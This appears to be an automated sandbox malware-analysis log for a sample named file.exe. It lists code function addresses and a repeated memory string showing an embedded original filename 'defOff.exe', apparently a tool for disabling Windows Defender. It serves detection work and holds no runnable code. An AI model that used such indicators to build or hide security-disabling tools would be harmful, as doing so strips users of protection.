Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F0C63	0_2_061F0C63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F8C9A	0_2_061F8C9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620CCAD	0_2_0620CCAD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E3C8E	0_2_061E3C8E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F9C8C	0_2_061F9C8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621E489	0_2_0621E489
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621FC89	0_2_0621FC89
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0622949F	0_2_0622949F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062014E0	0_2_062014E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E54DC	0_2_061E54DC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06221CEB	0_2_06221CEB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620E4F2	0_2_0620E4F2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062054F3	0_2_062054F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062274F8	0_2_062274F8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062214FE	0_2_062214FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621A4FE	0_2_0621A4FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EF4FE	0_2_061EF4FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EACEC	0_2_061EACEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06200525	0_2_06200525
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620AD35	0_2_0620AD35
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06202503	0_2_06202503
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06205D07	0_2_06205D07
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E2D5D	0_2_061E2D5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E1D76	0_2_061E1D76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06215DA1	0_2_06215DA1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F0D86	0_2_061F0D86
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FAD81	0_2_061FAD81
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D85AD	0_2_061D85AD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EB5AB	0_2_061EB5AB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FCDAA	0_2_061FCDAA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DCDA3	0_2_061DCDA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062185E9	0_2_062185E9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D65FF	0_2_061D65FF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06207DC6	0_2_06207DC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E7DEC	0_2_061E7DEC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F3DE8	0_2_061F3DE8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062255DA	0_2_062255DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FA21F	0_2_061FA21F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DCA1C	0_2_061DCA1C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06214229	0_2_06214229
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E5217	0_2_061E5217
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EC204	0_2_061EC204
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E423A	0_2_061E423A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EDA3B	0_2_061EDA3B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621620B	0_2_0621620B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620D215	0_2_0620D215
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621D214	0_2_0621D214
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D8A2A	0_2_061D8A2A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06219A1A	0_2_06219A1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E1255	0_2_061E1255
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06211271	0_2_06211271
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06209276	0_2_06209276
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06203A41	0_2_06203A41
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620F241	0_2_0620F241
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D9279	0_2_061D9279
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DDA7B	0_2_061DDA7B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D7A71	0_2_061D7A71
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06211A4F	0_2_06211A4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EE26C	0_2_061EE26C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06229A5B	0_2_06229A5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D8A8B	0_2_061D8A8B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621CABF	0_2_0621CABF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06220A97	0_2_06220A97
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06218A96	0_2_06218A96
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EBAD9	0_2_061EBAD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FDACB	0_2_061FDACB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F1AE5	0_2_061F1AE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F5B1B	0_2_061F5B1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06226B2E	0_2_06226B2E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FCB0C	0_2_061FCB0C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FB308	0_2_061FB308
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06201B3F	0_2_06201B3F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E933F	0_2_061E933F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06224B08	0_2_06224B08
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DB325	0_2_061DB325
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06214B19	0_2_06214B19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06204B19	0_2_06204B19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DA358	0_2_061DA358
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EAB49	0_2_061EAB49
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DAB44	0_2_061DAB44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0622337B	0_2_0622337B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061CDB43	0_2_061CDB43
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E6378	0_2_061E6378
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DCB72	0_2_061DCB72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06200B4F	0_2_06200B4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061ECB61	0_2_061ECB61
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E439B	0_2_061E439B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06212BB0	0_2_06212BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06211BB7	0_2_06211BB7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FAB88	0_2_061FAB88
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E13B2	0_2_061E13B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D6BA8	0_2_061D6BA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EEBDF	0_2_061EEBDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FE3D2	0_2_061FE3D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DEBCC	0_2_061DEBCC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E83C9	0_2_061E83C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DDBFC	0_2_061DDBFC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E23F3	0_2_061E23F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06209BD3	0_2_06209BD3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061DF3E8	0_2_061DF3E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0622882F	0_2_0622882F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E1808	0_2_061E1808
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620C83D	0_2_0620C83D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F483F	0_2_061F483F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E582A	0_2_061E582A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06229066	0_2_06229066
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F3852	0_2_061F3852
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E8850	0_2_061E8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F6849	0_2_061F6849
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621F042	0_2_0621F042
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06205856	0_2_06205856
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062040AF	0_2_062040AF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061FF882	0_2_061FF882
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F90BD	0_2_061F90BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620508B	0_2_0620508B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06223897	0_2_06223897
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E48A5	0_2_061E48A5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0622409E	0_2_0622409E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E68D0	0_2_061E68D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F98CE	0_2_061F98CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621D8F6	0_2_0621D8F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061ED8C3	0_2_061ED8C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062030FD	0_2_062030FD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062278CB	0_2_062278CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062270D1	0_2_062270D1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062220D6	0_2_062220D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621E0DD	0_2_0621E0DD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061D58E3	0_2_061D58E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620B924	0_2_0620B924
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06207926	0_2_06207926
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06215902	0_2_06215902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0622A101	0_2_0622A101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E213A	0_2_061E213A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0622610E	0_2_0622610E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F6132	0_2_061F6132
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620E915	0_2_0620E915
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EF95E	0_2_061EF95E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06201163	0_2_06201163
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621A162	0_2_0621A162
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06210971	0_2_06210971
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F3147	0_2_061F3147
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E3141	0_2_061E3141
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06208147	0_2_06208147
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621A949	0_2_0621A949
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E2977	0_2_061E2977
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_06206149	0_2_06206149
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620A14C	0_2_0620A14C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0620D957	0_2_0620D957
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061F099F	0_2_061F099F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EB193	0_2_061EB193
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621B9B4	0_2_0621B9B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062229B4	0_2_062229B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621F9BD	0_2_0621F9BD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062201BF	0_2_062201BF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061EA9B0	0_2_061EA9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621E99A	0_2_0621E99A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0621499C	0_2_0621499C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_061E39C6	0_2_061E39C6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062071C3	0_2_062071C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_062269D4	0_2_062269D4

Source: file.exe, 00000000.00000003.2388130669.00000000057A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393130215.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389558167.0000000005D01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390716117.0000000005DDE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388869638.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2387063056.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391996979.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389122495.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2421099126.0000000000F96000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2421197815.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396605802.0000000005D67000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395455963.0000000005E43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386758374.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396730300.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396352116.0000000005D64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390160982.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391683952.0000000005D13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391581742.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391398584.0000000005D1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390250797.0000000005D02000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386911857.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397501393.0000000005D74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393452308.0000000005D3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392218255.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2552832846.00000000061C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390529452.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393917089.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389469742.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2420951403.000000000575F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396478797.0000000005C43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394391773.0000000005D4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392299540.0000000005D31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391304840.0000000005C4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397084179.0000000005D66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2398540421.0000000005EB1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390623931.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393240724.0000000005D35000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394825911.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396831499.0000000005D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386987007.0000000005CDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2399568863.0000000005C47000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388789100.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389827427.0000000005D11000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390436579.0000000005D0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393345923.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393025428.0000000005D33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396101304.0000000005E78000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391210899.0000000005DF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394947650.0000000005D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395843508.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392408728.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389739314.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391110574.0000000005D14000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394239054.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392719356.0000000005C51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386834800.00000000057AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2552494792.0000000005F0F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397333818.0000000005C4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394564784.0000000005C43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2398966194.0000000005D7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389653227.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393665991.0000000005D39000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392112166.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2399412440.0000000005D86000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2398212826.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2399103537.0000000005EC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390344852.0000000005C43000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389298377.0000000005C45000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2398826259.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2398367518.0000000005D77000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395310876.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388951467.0000000005CEB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389034636.0000000005D99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2398053212.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392514600.0000000005D2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395972719.0000000005D5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389383789.0000000005CF7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392923938.0000000005C50000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388252024.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391896500.0000000005DEE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2388702953.0000000005C4F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393825973.0000000005E38000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2386686185.00000000057AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2394675654.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2390902588.0000000005D18000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2393561572.0000000005C46000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396229964.0000000005C48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2391009271.0000000005C4B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2392823310.0000000005D36000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2395723237.0000000005D5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2399263932.0000000005C44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2389212293.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2397891413.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396956274.0000000005C42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
